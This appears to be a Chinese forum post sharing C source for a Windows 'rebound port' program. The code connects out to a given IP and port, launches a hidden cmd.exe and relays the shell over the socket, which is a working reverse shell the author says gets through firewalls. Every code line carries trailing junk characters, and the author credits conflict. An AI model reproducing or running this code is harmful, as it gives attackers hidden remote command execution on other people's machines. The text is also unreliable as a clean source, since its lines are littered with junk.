这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n\H.NL)
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/* ============================== Z6oA>D
Rebound port in Windows NT 0G/_"}@
By wind,2006/7 z@J;sz
===============================*/ lF!Iu.MM 9
#include WhR'MkfL
#include !u|s|6{\
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#pragma comment(lib,"wsock32.lib") @KC;"u'C
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void OutputShell(); pJ]i)$M
SOCKET sClient; 3UQ~U 8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (Y]G6>
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void main(int argc,char **argv) w\ 7aAf3O
{ )NS&1$
WSADATA stWsaData; d<4q%y'X{
int nRet; nD;8)VI'I
SOCKADDR_IN stSaiClient,stSaiServer; fHwr6"DJ
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if(argc != 3) \~'+TW
{ P[C03a!lXg
printf("Useage:\n\rRebound DestIP DestPort\n"); D[}qhDlX
return; VcR(9~
} kc70HrG
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WSAStartup(MAKEWORD(2,2),&stWsaData); z[ ml;?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p*]nCUs}n
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stSaiClient.sin_family = AF_INET; 4vRIJ}nQ
stSaiClient.sin_port = htons(0); #:3~I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ie8jBf -
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Kzgnhgc
{ Smlf9h&
printf("Bind Socket Failed!\n"); %QrpFE5V5
return; au 5qbP
} 9q!./)
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stSaiServer.sin_family = AF_INET; ]pP [0S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9 ~$'?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gfn?1Kt{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z gDc=
{ seo.1.Da2
printf("Connect Error!"); Ro|%pT
return; Rck k
} )X-/0G=N-
OutputShell(); :IlJQ{=W
} 'VTLp.~G~
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void OutputShell() 73OYHp_j
{ (Cjw^P|Y@
char szBuff[1024]; uKocEWB=/F
SECURITY_ATTRIBUTES stSecurityAttributes; H '(Ky
OSVERSIONINFO stOsversionInfo; ;nB.f.e`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1Qz1 Ehz>
STARTUPINFO stStartupInfo; CERT`W%o
char *szShell; s>^$: wzu
PROCESS_INFORMATION stProcessInformation; !q_fcd^c
unsigned long lBytesRead; 3fWL}]{<a
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jh&WL
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KnuQ5\y
stSecurityAttributes.lpSecurityDescriptor = 0; KcQe1mT!+
stSecurityAttributes.bInheritHandle = TRUE; K-b'jP\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B> LL
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ho; bgva
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +Tw ]u`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J< U,~ra\
stStartupInfo.wShowWindow = SW_HIDE; !3'&_vmG$
stStartupInfo.hStdInput = hReadPipe; @(mXiK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `<:D.9vO "
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GetVersionEx(&stOsversionInfo); I6E!$}
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switch(stOsversionInfo.dwPlatformId) zn@yt%PCV
{ NXw$PM|+R
case 1: g$j ZpU
szShell = "command.com"; E}WO?xxv74
break; $m-rn'Q
default: h!L6NS_Q,
szShell = "cmd.exe"; zU)Ib<$
break; 4D-4BxN*
} }}'0r2S
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (NBq!;_2,x
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send(sClient,szMsg,77,0); .s!qf!{V`
while(1) eBW=bK~[VP
{ !w9w{dtW=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?A4t
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if(lBytesRead) `Mxi2Y{vp
{ 3M[b)At V.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BcvCm+.S:
send(sClient,szBuff,lBytesRead,0); <x|P}
}
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else igD,|YSK`z
{ nrpxZA
lBytesRead=recv(sClient,szBuff,1024,0); cKKl\g@}
if(lBytesRead<=0) break; lp;=f
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D!oELZ3
} +w ]KK6
} 9
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return; cj!Ew}o40D
}